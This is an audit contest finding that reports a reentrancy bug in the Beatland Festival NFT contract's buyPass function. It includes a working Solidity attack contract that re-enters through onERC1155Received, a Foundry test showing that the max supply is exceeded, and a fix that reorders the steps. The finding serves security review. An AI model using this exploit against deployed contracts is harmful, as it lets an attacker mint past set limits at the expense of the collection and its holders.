Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-01] Exceeding max token supply with reentrancy attack

Root + Impact

Description

The buyPass function is vulnerable to a reentrancy attack, since the CEI pattern is not respected. This would allow the attacker to increase the maximum limit of the collection.

function buyPass(uint256 collectionId) external payable {
...
// Mint 1 pass to buyer
// Doesn't respect CEI pattern
// Interact
_mint(msg.sender, collectionId, 1, "");
// Effect
++passSupply[collectionId];
...
}

Risk

Likelihood:

  • As soon as the attacker wishes to buy tokens, as long as the reentrancy attack exceeds the maximum supply.

Impact:

  • The max supply of the collection can be exceed without any limit

  • This would unbalance the collection, leading to a decrease in rarity.

Proof of Concept

To realize the reentrancy attack, you need to implement a contract that allows the receiving of ERC1155 tokens (with ERC1155Holder.sol from OpenZeppelin for example).

The function called is onERC1155Received(), so you need to implement it.

//SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import {FestivalPass} from "./FestivalPass.sol";
contract MaliciousContract is ERC1155Holder {
bool public minted = false;
uint256 constant GENERAL_PRICE = 0.05 ether;
function onERC1155Received(
address,
address,
uint256 collectionId,
uint256,
bytes memory
) public override returns (bytes4) {
uint256 incrementedPassSupply = FestivalPass(msg.sender).passSupply(
collectionId
) + 1;
if (
incrementedPassSupply ==
FestivalPass(msg.sender).passMaxSupply(collectionId) &&
!minted
) {
minted = true;
FestivalPass(msg.sender).buyPass{value: GENERAL_PRICE}(
collectionId
);
}
return this.onERC1155Received.selector;
}
}

The attack can then proceed as follows :

function test_Reentrancy_Attack_On_ERC1155_mint() public {
MaliciousContract attacker = new MaliciousContract();
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
festivalPass.buyPass{value: GENERAL_PRICE}(1); // GENERAL_MAX_SUPPLY is set to 1
assertEq(festivalPass.balanceOf(address(attacker), 1), 2);
assertEq(festivalPass.passSupply(1), 2);
}

Recommended Mitigation

To mitigate this issue, you need to respect the CEI pattern :

  • first increment passSupply of the collection id

  • then mint the token

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.